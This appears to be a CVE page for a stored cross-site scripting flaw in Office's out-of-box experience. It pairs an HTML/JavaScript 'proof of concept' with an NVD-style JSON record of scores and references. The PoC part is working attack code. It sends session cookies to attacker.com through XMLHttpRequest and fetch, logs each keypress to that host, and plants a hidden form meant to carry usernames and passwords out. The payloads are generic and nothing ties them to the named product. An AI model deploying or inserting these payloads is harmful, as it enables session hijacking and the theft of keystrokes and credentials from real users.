CVE-2025-64677

<!-- CVE-2025-64677 PoC - Stored XSS in Office Out-of-Box Experience --> <!-- This PoC demonstrates the XSS vulnerability in Office OOBE --> <!-- Step 1: Inject malicious JavaScript payload --> <script> // Malicious payload to steal session cookies var stealCookie = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/exfiltrate', true); xhr.send('cookie=' + encodeURIComponent(stealCookie)); </script> <!-- Alternative payload: Session hijacking --> <img src=x onerror=" fetch('https://attacker.com/log?c='+document.cookie) "> <!-- Alternative payload: Keylogging --> <script> document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/klog?k=' + e.key; }); </script> <!-- Step 2: Crafted HTML form for phishing --> <form action="https://attacker.com/phish" method="POST"> <input type="hidden" name="username" id="username"> <input type="hidden" name="password" id="password"> </form> <script> document.getElementById('username').value = sessionStorage.getItem('username'); </script>

{"cve": {"id": "CVE-2025-64677", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:01.077", "lastModified": "2026-01-16T17:28:14.047", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') in Office Out-of-Box Experience allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_out-of-box_experience:-:*:*:*:*:*:*:*", "matchCriteriaId": "56FCF772-986A-4527-8CE3-B67F8B8AEA15"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64677", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}